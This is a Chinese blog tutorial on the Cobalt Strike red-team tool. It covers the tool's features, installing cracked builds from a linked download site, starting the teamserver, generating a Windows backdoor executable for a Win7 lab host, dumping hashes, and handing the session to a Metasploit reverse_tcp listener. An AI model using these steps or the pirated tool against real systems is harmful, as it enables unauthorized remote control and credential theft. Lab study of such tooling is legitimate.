CobaltStrike


一、CobaltStrike简介

Cobalt Strike 是一款由美国网络安全公司 Help Systems 开发的 商业渗透测试工具,广泛用于模拟高级持续威胁(APT)攻击和红队演练。其核心功能是帮助安全团队评估企业网络的防御能力,但因其强大的功能,也被部分攻击者滥用为恶意工具。在高级渗透测试和红队操作领域,Cobalt Strike 是一款备受推崇的商业工具。它提供了丰富的功能和强大的模块,用于模拟高级持续性威胁(APT),执行复杂的攻击链条,并帮助组织评估和提升其安全防护能力。

Cobalt Strike 作为一款专业的渗透测试和红队操作工具,旨在帮助安全专家模拟真实的攻击场景。它拥有强大的命令与控制(C2)功能、丰富的后渗透模块和灵活的脚本支持,使其成为安全评估和攻击模拟的重要工具。

Cobalt Strike集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等。

1.1 Cobalt Strike架构

1.2 核心模块与功能

1.2.1 核心模块

  • 信标(Beacon):Cobalt Strike 的主要后渗透载荷,能够与团队服务器建立命令与控制(C2)通道,并执行多种后渗透活动,如网络和主机枚举、文件操作、进程操作等。
  • 监听器(Listeners):用于等待信标连接的 C2 服务器,支持多种协议,如 HTTP/HTTPS、DNS、SMB、原始 TCP 等,并且可以在每种监听器类型中进行各种修改以适应不同的攻击场景。
  • 客户端(Client):攻击者与团队服务器交互的界面,通过它可以管理信标会话、发送命令、查看日志、构建载荷、执行插件以及生成报告等。
  • 攻击者脚本(Aggressor Scripts):允许用户自定义命令、菜单选项和界面,通过编写脚本可以扩展 Cobalt Strike 的功能,如添加新的菜单快捷方式、链接多个攻击步骤等。
  • 团队服务器(Team Server):作为信标和客户端之间的中间人,负责管理信标会话和客户端连接,协调两者之间的通信。

1.2.2 功能

  • 多种上线方式:支持多种协议实现主机上线,能够灵活适配复杂多变的网络环境,确保渗透测试流程顺畅无阻。

  • 功能模块集成度高:集成了提权、凭据导出、端口转发、socket 代理、针对 Office 的攻击手段、文件捆绑以及钓鱼等一系列实用功能,可全方位满足渗透测试中各类复杂需求。

  • 协同拓展能力强:可与 Mimikatz 等业界知名工具协同工作,进一步挖掘系统深层次漏洞,增强攻击效能。

  • 分布式协作架构:采用客户端与服务端分离的架构,支持分布式操作,方便团队成员高效协同,极大提升渗透测试的效率与质量。

  • 强大的攻击模块

    • 网络攻击:提供端口扫描器、浏览器代理等功能,可以对目标网络进行扫描和渗透。
    • 社会工程学攻击:支持鱼叉式网络钓鱼、网站克隆等攻击手段,用于获取目标用户的凭证和信息。
    • 权限提升:具备权限升级功能,可以帮助攻击者获取更高权限,以便进一步控制目标系统。
  • 灵活的载荷生成:可以根据不同的攻击场景和需求,生成各种类型的载荷,如 Windows EXE、DLL、PowerShell 脚本等。

  • 丰富的交互功能:通过与信标的交互,攻击者可以执行各种命令,如文件操作、进程操作、系统信息收集等,并且可以实时查看命令的执行结果。

  • 数据管理和分析:提供凭据管理器、文件浏览器、事件日志等功能,方便攻击者管理和分析获取到的数据。

  • 报告生成:能够生成详细的报告,记录渗透测试的全过程,包括攻击路径、获取的凭证、执行的命令等,有助于总结和评估渗透测试的效果。

二、主要特点

  • 强大的C2通信:支持HTTP、HTTPS、DNS和SMB等多种通信协议,确保C2通信的隐蔽性和稳定性。

  • 丰富的后渗透模块:提供了大量的后渗透功能,如凭据收集、横向移动、持久性等。

  • 团队协作:支持多用户协作,便于红队成员之间的协同作战。

  • 灵活的脚本支持:支持Aggressor脚本和Beacon Object Files(BOF),可以根据需求定制攻击流程。

  • 实时攻击模拟:能够模拟高级威胁,帮助组织发现和修复潜在的安全漏洞。

三、下载安装(CobaltStrike4.9.1)

3.1 下载

Cobalt Strike是商业软件,原则上需要购买许可证才能使用。

不过也有破解版,原始项目地址为:https://github.com/Snowming04/CobaltStrike4.0_related,项目中也有一些教程文档,不过经过测试连接都挂掉了。

推荐一个下载地址:https://www.ddosi.org/cobalt-strike-4-9-1-cracked/

文件结构:

CobaltSrike_4.9.1_Cracked_www.ddosi.org
├─Client
│      cobaltstrike-client.cmd
│      cobaltstrike-client.jar
│      cobaltstrike-client.sh
│      cobaltstrike.auth
│      uHook.jar
│
└─Server
    │  c2lint
    │  cobaltstrike.auth
    │  source-common.sh
    │  teamserver
    │  TeamServerImage
    │
    └─third-party
            README.winvnc.txt
            winvnc.x64.dll
            winvnc.x86.dll

3.2 安装

  • 把Cobalt Strike安装包上传至Kali中,如果Kali作为服务端,就使用Server文件夹,Client文件夹在被控终端使用:

3.3 开启服务端

./teamserver Kali本机IP地址 设置服务端的密码

如果teamserver文件不具备可执行权限,chmod u+x 即可,然后再重新执行:

如果提示:./TeamServerImage: Permission denied,同样给TeamServerImage添加执行权限,然后重新运行:

┌──(root💀kali)-[~/Desktop/CobaltSrike_4.9.1_Cracked_www.ddosi.org/Server]
└─# ./teamserver 172.20.10.4 123456

[*] Will use existing X509 certificate and keystore (for SSL)

[*] Starting teamserver
[*] Team Server Version: 4.9.1 (Pwn3rs)
[*] Setting 'https.protocols' system property: SSLv3,SSLv2Hello,TLSv1,TLSv1.1,TLSv1.2,TLSv1.3
[*] Loading keystrokes.
[*] Loaded 0 keystrokes.
[*] Loading screenshots.
[*] Loaded 0 screenshots.
[*] Loading downloads.
[*] Loaded 0 downloads.
[*] Loading Windows error codes.
[*] Windows error codes loaded
[*] Loading hosted files
[*] Loaded 0 servers with hosted items
[*] Loading beacons
[*] Loaded 0 beacons
[+] Team server is up on 0.0.0.0:50050
[*] SHA256 hash of SSL cert is: ba703778881a47e5dbb2df1d79b0b68f04ba9fa654f22d1ad9822368846a5839

如上图出现SSL cert 等提示表示服务端运行成功。

3.4 开启客户端

Client中有如下文件:

3.4.1 在mac上运行客户端

为启动脚本添加执行权限:

chmod u+x cobaltstrike-client.sh

然后执行启动脚本:

./cobaltstrike-client.sh

配置Host主机(Kali主机IP)、Port端口(同服务端)、User用户名(任意都行)、Password密码(服务端配置的密码);

然后点击Connect:

检查一下,跟服务端证书指纹一致,确认即可。

  • 成功连接到服务端

3.4.2 在win7上运行客户端

ip:172.20.10.2

配置,成功连接到服务端。

4.9版本的CS还是太新了,不太适应。

四、下载安装(CobaltStrike 3.14)

4.1 下载

其他下载地址:

文件内容:

4.2 安装

直接进入文件包,赋予可执行权限即可。

4.3 服务端启动

./teamserver ip password

4.4 客户端启动

4.4.1 mac

java -Dfile.encoding=UTF-8 -javaagent:CobaltStrikeCN.jar -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar

为了方便可以创建一个启动脚本:

echo "java -Dfile.encoding=UTF-8 -javaagent:CobaltStrikeCN.jar -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar" > start.sh
chmod u+x start.sh
./start.sh

连接配置:

点击连接,成功连接至服务端:

4.4.2 win7

运行cobalstrike.bat,然后配置即可。

五、基础使用

5.1 创建监听器

选择监听器功能:

下方会出现一个监听器X的面板:

点击Add可以添加一个监听器:

名字自定义、payload也可以根据情况选择、主机填CS服务端的IP、端口自定义。

如上图所示,监听器已经开启监听。

5.2 win7上线

  • 生成后门:

按照上面的指引选择Windows Executable模块。

选择刚刚创建的监听器,点击generate生成后门。

将后门文件投递到win7上,执行:

win7成功上线CS。

5.3 转储哈希

win7上线之后,右键可以执行很多操作:

比如转储Hash:

5.4 联动MSF

  • 在kali中启动msf,开启监听
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 172.20.10.4 【kali(CS服务端)ip】
set lport 7777
run -j 【是一个常用的命令选项,用于在后台运行模块。】

执行之后:

msf6 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 172.20.10.4:7777 
msf6 exploit(multi/handler) > show options 

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     172.20.10.4      yes       The listen address (an interface may be specified)
   LPORT     7777             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf6 exploit(multi/handler) > 
  • 在CS客户端中创建一个外部监听

使用Cobalt Strike创建一个windows/foreign/reverse_tcp的Listener。其中ip为Metasploit的ip地址,端口为Metasploit所监听的端口。

在已上线的会话中,右键点击派生会话:

然后选择刚刚创建的msf会话。

在msfconsole中获取到相应的会话连接:

后续也可利用msf中的工具进行进一步渗透。

学习资料


文章作者: 司晓凯
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 司晓凯 !
  目录